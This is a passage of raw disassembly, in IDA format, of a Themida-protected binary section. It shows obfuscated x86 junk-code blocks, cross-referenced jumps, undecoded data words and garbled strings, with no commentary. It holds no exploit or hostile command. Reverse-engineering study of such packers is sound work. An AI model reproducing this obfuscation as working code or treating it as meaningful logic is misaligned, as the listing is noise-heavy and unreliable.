		jmp	loc_563910
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0BBE92434h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56524B:				; CODE XREF: Themida_:0055EEDBj
		shr	edi, 3
		or	edi, 668A5044h
		not	edi
		not	edi
		add	edi, 0E3291695h
		add	ecx, edi
		jmp	loc_560BB1
; ---------------------------------------------------------------------------


loc_565265:				; CODE XREF: Themida_:00570D04j
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_56EA6F
		push	edi
		push	eax
		mov	eax, 5369108Dh
		mov	edi, 0DC5E07C4h
		add	edi, eax
		pop	eax
		push	eax
		push	1DA76823h
		mov	eax, [esp]
		add	esp, 4
		add	eax, 0FFFFFFFFh
		shl	eax, 5
		push	1F41h
		mov	[esp], eax
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 0E4B41C93h
		jmp	loc_566DFD
; ---------------------------------------------------------------------------
		dd 405h, 24048700h, 4B9515Ch, 1000000h,	240C8BC8h, 0E904C483h
		dd 1BCh, 8904EC83h, 0B753240Ch,	5BF98812h, 0FE03E1C0h
		dd 665066C1h, 0E922D868h, 0AF04h, 86242C81h, 5B53ED49h
		dd 3ABD5552h, 89600E7Dh, 0F2815DEAh, 617F7913h,	0AEF2814Ah
		dd 1529C4Dh, 841DE9D3h,	468FFFFh, 5B000000h, 1C8BDD29h
		dd 4C48324h, 8B242C87h,	4892424h, 7BFCE924h, 0EA810000h
		dd 1D377EE0h, 81DA015Fh, 4A4C35C2h, 0AE9EE939h,	0E9560000h
		dd 0FFFFE0FBh, 0B9C2815Ah, 131A034h, 0C3835AD3h, 241C3304h
		dd 0E9241C31h, 59A1h, 0C7517FBBh, 1BBA5245h, 0E9BBED66h
		dd 0FFFF7809h
; ---------------------------------------------------------------------------


loc_565374:				; CODE XREF: Themida_:00564581j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55DF92
; ---------------------------------------------------------------------------
		db 0B0h, 19h, 0C0h
		dd 0B02403E8h, 1F53E9h,	243C8700h, 0E189515Ch, 4C181h
		dd 66E90000h, 0F7000058h, 98EB81D3h, 81704A7Bh,	326DB4CBh
		dd 8EC38105h, 89065206h, 8BE95BDAh, 51FFFFA0h, 3D19B7B9h
		dd 59C88943h, 0F758C589h, 0B9F581DDh, 51624917h, 7630F8B9h
		dd 8C20E932h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5653E6:				; CODE XREF: Themida_:005693BCj
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56912D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 8B545224h, 0C4812414h, 4, 220E9h, 81FE0100h,	941628C6h
		dd 0B06CE933h, 0C890000h, 46824h, 1590000h, 2C3359CDh
		dd 242C3124h, 8B242C33h, 34FF2424h, 4A685824h, 8900001Eh
		dd 45E92404h, 8B00001Ch, 0C483242Ch, 0E5C14504h, 8E5C106h
		dd 0C001C581h, 8155AE33h, 57F8242Ch, 0C8B007Dh,	4C48124h
		dd 81000000h, 7D57F8C1h, 0EC835D00h, 240C8904h,	240C8B5Ah
		dd 81E38953h, 4C3h, 4BE5600h, 1000000h,	1C335EF3h, 241C3124h
		dd 0E9241C33h, 389h, 0EF4CE951h, 0C621FFFFh, 824DE958h
		dd 0D7F70000h, 8B243C87h, 0C483240Ch, 0AEB9E904h, 0EC810000h
		dd 4, 0FFC637E9h, 24248BFFh, 81E18951h,	4C1h, 0BD61E900h
		dd 34FFFFFFh, 2434FF24h, 0E7895758h, 4C781h, 0C7830000h
		dd 243C8704h, 4EC815Ch,	89000000h, 0E2892414h, 27EAB850h
		dd 0BF571808h, 62C0724Bh, 6A0EF81h, 62E94B1Fh
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565503:				; CODE XREF: Themida_:0055E3BFj
		xchg	ecx, ebp
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xchg	ecx, ebp
		xchg	ebp, esi
		xor	ecx, esi
		jmp	loc_56F567
; ---------------------------------------------------------------------------
aXs5		db 'Xéµ5',0
		dw 0FF00h
		dd 815A2434h, 4C4h, 0C0B60F00h,	24148B66h, 0FFE659E9h
		dd 4C181FFh, 83000000h,	0C8704C1h, 0E95F5C24h, 8C2Eh
; ---------------------------------------------------------------------------


loc_565544:				; CODE XREF: Themida_:0056A1EDj
		push	ebp
		push	ebx
		jmp	loc_56E411
; ---------------------------------------------------------------------------


loc_56554B:				; CODE XREF: Themida_:00566FBEj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5638CA
; ---------------------------------------------------------------------------


loc_56555D:				; CODE XREF: Themida_:0055FF4Aj
		push	7CE272Ch
		jmp	loc_55F503
; ---------------------------------------------------------------------------
		db 4
		dd 0A1B652DBh, 0D6F6C6FEh, 8032EE80h, 5366ECEEh, 0DE0082B3h
		dd 0F0005B66h, 0B353665Ah, 0B5F1E9DBh, 0D8290000h, 6D3A582Dh
		dd 44102D6Eh, 2D5B3DA1h, 767C7934h, 3EF8BB53h, 0D8015FDBh
		dd 83241C8Bh, 0D00104C4h, 871EE957h, 0F9680000h, 89000077h
		dd 9CB82404h, 29362F6Ah, 58082444h, 4247C01h, 71E1E9h
		dd 24148B00h, 4C481h, 34FF0000h, 0E9525B24h, 7F7Ah, 68242C89h
		dd 6B46h, 68241C89h, 3806459Ch,	1278E9h, 6497BB00h, 25B9730Fh
		dd 0E9D77A67h, 0A7B5h, 9D1C77FFh, 4185866h, 0FE99C24h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565613:				; CODE XREF: Themida_:0056E4D3j
		xor	edx, ebx
		jmp	loc_567DFA
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 1EC7BBB7h, 3429E9h, 4685500h, 5D000000h, 505DEA01h
		dd 4B8h, 19EA8100h, 0E9299220h,	0FFFF9CEEh
; ---------------------------------------------------------------------------


loc_565640:				; CODE XREF: Themida_:005613B8j
		add	eax, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_567170
; ---------------------------------------------------------------------------


loc_565660:				; CODE XREF: Themida_:0056F36Aj
		push	ebx
		mov	ebx, esp
		jmp	loc_561253
; ---------------------------------------------------------------------------


loc_565668:				; CODE XREF: Themida_:005625F9j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55FCCB
; ---------------------------------------------------------------------------
		db 4Bh
		dd 5814BE56h, 0A3E905A7h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56567F:				; CODE XREF: Themida_:00566643j
		add	edx, ebx
		pop	ebx
		add	edx, 7BE41AEDh
		jmp	loc_566BA6
; ---------------------------------------------------------------------------
		db 52h,	81h, 0ECh
		dd 4, 532068h, 4EC8100h, 89000000h, 0BE562424h,	4, 4247401h
		dd 24048F5Eh, 5DD0E9h, 30BF5700h, 4F15F206h, 0FFA3C8E9h
		dd 7E681FFh, 830BAF77h,	2C8904ECh, 7427E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5656D2:				; CODE XREF: Themida_:005618A1j
		push	esi
		jmp	loc_570D41
; ---------------------------------------------------------------------------


loc_5656D8:				; CODE XREF: Themida_:00561F59j
		sub	ecx, 4E3F0595h
		add	ecx, edx
		add	ecx, 4E3F0595h
		mov	edx, [esp]
		add	esp, 4
		sub	ecx, 5DCF5515h
		shr	ecx, 5
		sub	ecx, 0FFFFFFFFh
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 718A15E0h
		not	edx
		sub	edx, 463D37AEh
		sub	edx, 460E2A6Fh
		push	edx
		pop	ebp
		pop	edx
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ebx, ecx
		pop	ecx
		jmp	loc_55ED19
; ---------------------------------------------------------------------------
		db 68h
		dd 6D47h, 0BF243C89h, 4, 4247C01h, 0FFEB7DE9h, 242C31FFh
		dd 5C242C33h, 66F1E9h
		db 0
; ---------------------------------------------------------------------------


loc_56574D:				; CODE XREF: Themida_:0056E26Aj
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56C518
; ---------------------------------------------------------------------------


loc_565767:				; CODE XREF: Themida_:00560F66j
		sub	ebp, edi
		pop	edi
		pop	edx
		jmp	loc_55EE50
; ---------------------------------------------------------------------------
		dd 4EC8158h, 89000000h,	0E0892404h, 0FFC8A1E9h,	4C481FFh
		dd 8F000000h, 248B2404h, 0C896624h, 0B60F6624h,	9C5166C8h
		dd 182DE9h, 8BD80100h, 0C481241Ch, 4, 4EB8C381h, 9AE97566h
		dd 81000002h, 880BA2EBh, 243C8B40h, 104C483h, 241C8BDDh
		dd 57E68956h, 0A1C80BFh, 7CEF810Bh, 0E90B0A1Ch,	46DBh
; ---------------------------------------------------------------------------


loc_5657D8:				; CODE XREF: Themida_:00566A09j
		xor	ebp, 739610Dh
		xor	ebp, 73720081h
		jmp	loc_55FEA4
; ---------------------------------------------------------------------------


loc_5657E9:				; CODE XREF: Themida_:00560995j
		add	edx, ebx
		sub	edx, 147C78E3h
		jmp	loc_569CEA
; ---------------------------------------------------------------------------
aShY		db 'Sh#Y',0
		align 4
		dd 0BD242C89h, 7852937h, 62FEBF57h, 0FD31258Eh,	0B43BBB5Fh
		dd 0EB01DDF4h, 4D4DE9h,	24248B00h, 5A1C5709h, 0A3D8E9h
		dd 0F9F58100h, 299DEAB2h, 52D7E9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565832:				; CODE XREF: Themida_:0056F40Fj
		shr	edx, 2
		jmp	loc_55F531
; ---------------------------------------------------------------------------
		dw 4481h
		dd 2F830424h, 7C013ACDh, 6C810424h, 2F830424h, 0E95F3ACDh
		dd 8FEFh, 7B25E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56585A:				; CODE XREF: Themida_:0056D5F4j
		or	eax, eax
		jnz	loc_55DEA4
		mov	edx, 2DDE70FBh
		push	edx
		push	ecx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_567E5E
; ---------------------------------------------------------------------------
		dd 8EBC15Bh, 8143D3F7h,	44CA2FC3h, 0AD68530Bh, 0E9000017h
		dd 72CBh
; ---------------------------------------------------------------------------


loc_56588C:				; CODE XREF: Themida_:0056409Dj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	5EF2h
		mov	[esp], esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		jmp	loc_562CA5
; ---------------------------------------------------------------------------
aH77Nxiqsas	db 'H',0Dh,'-7[7-•ëQ這',0
		align 2
		dw 0EB81h
		dd 0DC41D8Eh, 31EFC381h, 0E9513B9Eh, 0FFFF8D6Ch
; ---------------------------------------------------------------------------


loc_5658CC:				; CODE XREF: Themida_:00563492j
		and	eax, ebx
		pop	ebx
		jmp	loc_561F69
; ---------------------------------------------------------------------------


loc_5658D4:				; CODE XREF: Themida_:00562E8Ej
		push	2000h
		pop	ebp
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	esi
		push	esp
		pop	esi
		push	3CDFh
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_56922F
; ---------------------------------------------------------------------------


loc_56590C:				; CODE XREF: Themida_:005676C8j
		mov	ebx, esi
		pop	esi
		or	esi, ebx
		jmp	loc_55E6C5
; ---------------------------------------------------------------------------
		dw 483h
		dd 34FF0424h, 6CE95D24h, 550000AAh, 3D27B850h, 0DDBD1E55h
		dd 1E1AAC2h, 98E958C5h,	8100009Fh, 303BBBEDh, 0A8E95845h
		dd 8000009Ch, 0EC812FF6h, 2, 0FF9019E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565951:				; CODE XREF: Themida_:00564934j
		push	ebx
		mov	ebx, 76443E6Ah
		mov	edx, ebx
		pop	ebx
		add	[esp+8], edx
		pop	edx
		pop	ecx
		pop	eax
		push	esi
		jmp	loc_56A0A1
; ---------------------------------------------------------------------------


loc_565967:				; CODE XREF: Themida_:005697CCj
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		and	ecx, ebx
		pop	ebx
		shr	ecx, 6
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_570822
; ---------------------------------------------------------------------------


loc_565989:				; CODE XREF: Themida_:0055FDCCj
		pop	esi
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_5625EF
; ---------------------------------------------------------------------------


loc_565994:				; CODE XREF: Themida_:0055CEE5j
		xor	ebp, eax
		xor	eax, ebp
		jmp	loc_55FCC2
; ---------------------------------------------------------------------------


loc_56599D:				; CODE XREF: Themida_:0056B301j
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 52FE4869h
		inc	edx
		jmp	loc_568B36
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 14D25966h, 67E99C24h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5659BB:				; CODE XREF: Themida_:00570C7Fj
		mov	ecx, 4
		sub	edx, ecx
		jmp	loc_566E38
; ---------------------------------------------------------------------------
		db 55h
		dd 3C0AE5BDh, 0F778E966h, 0FF51FFFFh, 59042474h, 0E924048Fh
		dd 8B55h
; ---------------------------------------------------------------------------


loc_5659E0:				; CODE XREF: Themida_:0056D890j
		pop	esp
		push	dword ptr [edi+eax*4]
		jmp	loc_561970
; ---------------------------------------------------------------------------


loc_5659E9:				; CODE XREF: Themida_:0056FD75j
		xor	dl, cl
		pop	cx
		jmp	loc_560BB7
; ---------------------------------------------------------------------------
		dw 4BB7h
		dd 0F780E7D0h, 0BEC78004h, 8649EF80h, 86D1F6CFh, 6F2FE9CFh
		dd 3C890000h, 53E1BF24h, 0EFC147A0h, 8E7C105h, 123DBE56h
		dd 0D6F70F5Ch, 0C681D6F7h, 281754C2h, 0E903E6C1h, 0FFFFE14Ah
		dd 4EC83ADh, 83240C89h,	348904ECh, 55D4E924h, 3C890000h
		dd 53E78924h, 0FF73A7E9h, 81C301FFh, 664EB8EBh,	384E975h
		dd 0EC810000h, 4, 8238E9h, 7C38BF00h, 61E92E10h, 81000071h
		dd 4C4h, 80BBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565A7A:				; CODE XREF: Themida_:00567AD3j
		sub	esp, 4
		jmp	loc_56B804
; ---------------------------------------------------------------------------
		db 5Eh,	8Bh, 14h
		dd 4C48124h, 81000000h,	4C2h, 2C28100h,	33000000h, 14312414h
		dd 24143324h, 6624248Bh, 0E924048Bh, 2E52h, 14D0BF57h
		dd 0AAE9159Bh, 0FFFFFF73h, 48B2434h, 5B545324h,	4BF57h
		dd 0FB010000h, 5CC4E9h,	0C1CF8700h, 0EF8103EFh,	1851BE5Ch
		dd 242C8157h, 5E1C7DD6h, 81240C8Bh, 4C4h, 13E95600h, 89000007h
		dd 0D074E9C8h, 0F201FFFFh, 0E924348Bh, 0FFFFDDF7h, 24048B66h
		dd 52E18951h, 8858CFBAh, 82CEE94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565B16:				; CODE XREF: Themida_:00569282j
		push	ecx
		mov	ecx, 4
		jmp	loc_55F17B
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 4C4815Ch, 81000000h,	0AC29C9F7h, 3B00E94Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565B36:				; CODE XREF: Themida_:00568A03j
		mov	ebp, 31805045h
		add	ebp, 423E7DDFh
		and	ebp, 43F25E93h
		shr	ebp, 3
		sub	ebp, 87649C0h
		add	ebp, 29E61B7Ch
		sub	ebp, esi
		jmp	loc_56000D
; ---------------------------------------------------------------------------


loc_565B5D:				; CODE XREF: Themida_:0055EDEAj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55F8A6
; ---------------------------------------------------------------------------


loc_565B74:				; CODE XREF: Themida_:00569A0Ej
		pop	esp
		mov	ebx, [esp]
		jmp	loc_564E97
; ---------------------------------------------------------------------------
		db 87h,	0F3h, 0F7h
		dd 0E9F387D6h, 0FE7h, 0D8285966h, 0BB2C4404h, 0F624B753h
		dd 0F1F780DFh, 23E9F828h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565B9F:				; CODE XREF: Themida_:00565166j
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, edi
		push	edx
		mov	esi, [esp]
		add	esp, 4
		pop	edx
		mov	ebp, esi
		pop	esi
		jmp	loc_56E34B
; ---------------------------------------------------------------------------
		db 87h
		dd 315C242Ch, 157868C3h, 0C890000h, 9C63E924h, 0EB810000h
		dd 59A00AD9h, 2960C381h, 34FF5E91h, 0B7E3E924h,	0C15DFFFFh
		dd 0F18106E1h, 8CF24734h, 0C8BCB89h, 4C48324h, 505BDA29h
		dd 0EF0F54B8h, 50722D2Ah, 0BF5768B8h, 36EA441Eh, 255FF801h
		dd 39175B43h, 2D02E0C1h, 6671A206h, 48BC231h, 4C48124h
		dd 81000000h, 196F41C2h, 0EAE2817Ch, 525F7644h,	8B241CF7h
		dd 0C4812414h, 4, 7E92E281h, 0D2F74A1Eh, 0C57DBB53h, 31E9F7F3h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565C4F:				; CODE XREF: Themida_:0057040Ej
		sub	ecx, 0CA9F92BEh
		add	eax, ecx
		pop	ecx
		sub	eax, edi
		sub	eax, 78A07F43h
		sub	esp, 4
		jmp	loc_56F910
; ---------------------------------------------------------------------------
		dw 0D621h
		dd 0CCCE815Ah, 0C164A12Bh, 0DEF706EEh, 0FFAD23E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565C7D:				; CODE XREF: Themida_:0056E530j
		sub	esp, 4
		jmp	loc_5676CD
; ---------------------------------------------------------------------------


loc_565C88:				; CODE XREF: Themida_:00568F93j
		push	ecx
		jmp	loc_566B21
; ---------------------------------------------------------------------------
		dw 0F3BDh
		dd 0E90D3701h, 8F7Eh, 1C8B9304h, 4FC7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565CA2:				; CODE XREF: Themida_:0055CF45j
					; Themida_:00560967j
		push	3C1Bh
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		jmp	loc_55FC51
; ---------------------------------------------------------------------------
		dw 0F101h
		dd 8324348Bh, 0E98304C4h, 240C3304h, 33240C31h,	248B240Ch
		dd 242C8924h, 0EC81E589h, 4, 76EE9h, 5D02900h, 3F260B7h
		dd 9B43492Dh, 24148B49h, 5E08950h, 4, 405h, 0F34EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565CFA:				; CODE XREF: Themida_:0055D3EAj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56C270
; ---------------------------------------------------------------------------
		db 81h
		dd 2152A4E6h, 7E6C11Dh,	4608EEC1h, 1D8ACE81h, 0EE811EEEh
		dd 0C52CEA36h, 295EF001h, 33652DC8h, 15959C1h, 0EA405D8h
		dd 55537EE3h, 0A9799F68h, 0ED815D32h, 0F1E4C2Ah, 8904EC83h
		dd 0EA892414h, 8B5AD389h, 0C481242Ch, 4, 34FFD831h, 0F3B4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565D62:				; CODE XREF: Themida_:00570537j
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	5631h
		mov	[esp], edi
		jmp	loc_563E24
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0EF810000h, 4, 0E9243C87h, 7D4Dh, 0B9240C89h
		dd 98E74757h, 0E959CA29h, 5D99h, 0A50D3BBDh, 5DEB012Ch
		dd 219EE9h
		db 0
; ---------------------------------------------------------------------------


loc_565DB1:				; CODE XREF: Themida_:0055F1B0j
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_55D183
; ---------------------------------------------------------------------------


loc_565DBE:				; CODE XREF: Themida_:0056E48Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	4AAC0FA4h
		jmp	loc_561C79
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4EC8324h, 0E9240C89h, 0FFFFD257h, 0BF575854h, 4, 34FFF801h
		dd 243C8B24h, 4C481h, 0BBE90000h, 81000094h, 49AEE0C6h
		dd 5EF531FCh, 82C5F581h, 0BCE9AD0Ah
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565E1B:				; CODE XREF: Themida_:0055DCD5j
		xor	esi, ecx
		jmp	loc_567962
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0BB0F6624h, 0E99C2404h, 0FFFF65F2h, 240C8B66h, 760968h
		dd 241C8900h, 635568h, 24248900h, 4BE5653h, 89000000h
		dd 5C015EF3h, 5B5B0424h, 8416E9h, 0C8B6600h, 32CF6824h
		dd 0C890000h, 4EC8124h,	89000000h, 55E92424h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565E73:				; CODE XREF: Themida_:00562A2Fj
		mov	ebx, 61DD0AC1h
		add	ebx, 0BE767D9h
		dec	ebx
		sub	ebx, 0A3637104h
		add	edi, ebx
		pop	ebx
		mov	edx, edi
		pop	edi
		add	[esp+4], edx
		pop	edx
		pop	ecx
		push	edx
		mov	edx, 13A23E6Ah
		inc	edx
		add	edx, 3F453C92h
		jmp	loc_570607
; ---------------------------------------------------------------------------


loc_565EA3:				; CODE XREF: Themida_:005708C3j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_56F824
; ---------------------------------------------------------------------------
		dd 0E94EB753h, 0FFFFA4EEh, 405E089h, 2D000000h,	4, 5C240487h
		dd 0BF243C89h, 10891236h, 0CF1E956h, 0FFBB0000h, 1CCBFEFh
		dd 6C60E9F3h, 0C1810000h, 4, 51C5E9h, 4BB5300h,	0E9000000h
		dd 41B6h, 142C68h, 96CEE900h, 0F8090000h, 9E0FE95Fh, 0C3680000h
		dd 8900001Ah, 4BF243Ch,	1000000h, 0ABDBE9FDh, 5B90000h
		dd 0C14F8A2Fh, 0A2E907E1h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565F2F:				; CODE XREF: Themida_:00562B7Ej
		not	edi
		push	esi
		push	edi
		pop	esi
		pop	edi
		add	esi, 14191657h
		jmp	loc_56805F
; ---------------------------------------------------------------------------
		dd 0E3E6815Dh, 0C14F9C60h, 0EE8108E6h, 29FBBD8Ch, 14E9F031h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565F57:				; CODE XREF: Themida_:005603A5j
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56DC62
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 0E904C483h, 633Ch, 0E9242C8Bh, 0AD89h
; ---------------------------------------------------------------------------


loc_565F80:				; CODE XREF: Themida_:0055FCBDj
		inc	edx
		xor	edx, 0D9ECFD7Ah
		and	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		or	ebp, 46705D00h
		add	ebp, 0C218F5DDh
		sub	[esp+4], ebp
		jmp	loc_56FB8F
; ---------------------------------------------------------------------------
		dd 4BFh, 0A5BEE900h, 2C330000h,	242C3124h, 5C242C33h, 24042966h
		dd 6460E99Ch, 5966FFFFh, 3D14E9h, 4C48100h, 29000000h
		dd 0C3815BD8h, 35390DA2h, 0EC83C301h, 24048904h, 281C6855h
		dd 3C890000h, 685CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565FEE:				; CODE XREF: Themida_:005601D8j
		add	esp, 4
		jmp	loc_570CB9
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815B24h, 4, 8B24048Fh, 14892424h,	0E99C5024h, 0FFFF6412h
		dd 18D3C381h, 0E95721A6h, 0FFFFDA2Ah
; ---------------------------------------------------------------------------


loc_56601C:				; CODE XREF: Themida_:0056E147j
		push	esi
		jmp	loc_5626C1
; ---------------------------------------------------------------------------


loc_566022:				; CODE XREF: Themida_:00568973j
		sub	[esp+8], ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	dword ptr [esp+4], 0C570B67h
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 37E83C73h
		add	edi, 652B0522h
		shl	edi, 5
		jmp	loc_56C902
; ---------------------------------------------------------------------------
		db 83h
		dd 0EE8104C4h, 66F663C5h, 65A9C681h, 0EE016643h, 65A9EE81h
		dd 0C6816643h, 66F663C5h, 2434875Dh, 0E924248Bh, 0FFFF6396h
		dd 560B27B8h, 0E9C2014Dh, 0FFFFC189h, 38B5EE81h, 0EE010DC2h
		dd 0FFCD34E9h, 18EF81FFh, 5A64DD63h, 4812EF81h,	0F801139Dh
		dd 2F24E9h, 23E95C00h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5660BF:				; CODE XREF: Themida_:00565172j
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_56366A
; ---------------------------------------------------------------------------
		dw 0DE01h
		dd offset dword_49005C+438Dh
		db 0
; ---------------------------------------------------------------------------


loc_5660D5:				; CODE XREF: Themida_:0056C6D8j
		sub	eax, 4F135EE0h
		mov	esi, eax
		pop	eax
		pop	ebx
		or	[edi+1Ch], esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		jmp	loc_565121
; ---------------------------------------------------------------------------


loc_5660FC:				; CODE XREF: Themida_:0055FAD6j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_567ABD
; ---------------------------------------------------------------------------
		dd 0DDE95558h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56610F:				; CODE XREF: Themida_:0057018Bj
		sub	dh, al
		jmp	loc_5675C3
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 0D24EE9F1h, 0EC68FFFFh, 5E119975h, 72D0E9h, 24B95100h
		dd 0E935F035h, 0FFFFB36Fh
; ---------------------------------------------------------------------------


loc_566134:				; CODE XREF: Themida_:005669DDj
		mov	eax, 1FE129A0h
		add	edi, eax
		jmp	loc_562B1A
; ---------------------------------------------------------------------------
		dd 240C8B66h, 8D7DE9h, 0E9E28900h, 0FFFF7526h
; ---------------------------------------------------------------------------


loc_566150:				; CODE XREF: Themida_:00566FEAj
		pop	edi
		pop	edx
		sub	esp, 4
		jmp	loc_56CF17
; ---------------------------------------------------------------------------
		db 0ACh, 2Ch, 0A0h
		dd 13168h, 67BAE900h, 0F32D0000h, 542BD4Ah, 9640B34Eh
		dd 70E0EE81h, 0C6011DE2h, 70E0C681h, 87581DE2h,	248B2434h
		dd 24048F24h, 0FF24248Bh, 48B2434h, 4C48124h, 68000000h
		dd 28D6h, 0FFEC54E9h, 8BD931FFh, 0C483241Ch, 78A4BE04h
		dd 0CE3177E4h, 9A5BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5661B9:				; CODE XREF: Themida_:0055CF72j
		pop	edx
		jmp	loc_56D7D2
; ---------------------------------------------------------------------------


loc_5661BF:				; CODE XREF: Themida_:0055EE08j
		pop	eax
		add	eax, 4
		jmp	loc_564890
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4BCD1CC3h, 1829CD81h, 0E5C17C0Ah, 2E5C104h, 8107EDC1h
		dd 461A93C5h, 0CF58176h, 1782DA9h, 242C8BEBh, 0A316E9h
		dd 24048B00h, 4C481h, 0C3800000h, 331DE9C7h, 0CBBE0000h
		dd 8131600Ch, 7C711DF6h, 5EF1016Fh, 83243C8Bh, 0C18104C4h
		dd 78964A02h, 4674C181h, 60E9308Ah, 5F0000A7h, 3198B850h
		dd 0C30107CDh, 81CB0158h, 0CD3198EBh, 4C39E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566242:				; CODE XREF: Themida_:0056BAA9j
		mov	[esp], ebx
		jmp	loc_56521E
; ---------------------------------------------------------------------------
aI4Psp		db '‰4$Pé¯`',0
		dw 8100h
		dd 4C3h, 4C38100h, 0E9000000h, 376Dh, 815DE929h, 249BA9E9h
		dd 59CA3160h, 1519EA81h, 0EC8147F8h, 4,	0BF243C89h, 9F80C414h
		dd 3C8BFA29h, 4C48324h,	0C15AD689h, 54E906EEh, 81000088h
		dd 4ECh, 241C8900h, 0E950E389h,	5FACh, 612BE181h, 0C1810197h
		dd 75B1793Ah, 8159CB31h, 4ECh, 242C8900h, 0FFA011E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5662C5:				; CODE XREF: Themida_:0055CD8Aj
		shl	edi, 8
		neg	edi
		dec	edi
		sub	edi, 766C823Eh
		and	ebp, edi
		jmp	loc_561CE4
; ---------------------------------------------------------------------------
		dd 24048966h, 0FF6141E9h, 240481FFh, 4,	6EE8E9h, 7EEC100h
		dd 578CEE81h, 0E6812B3Fh, 2D380A54h, 2A5ECE81h,	0BF577647h
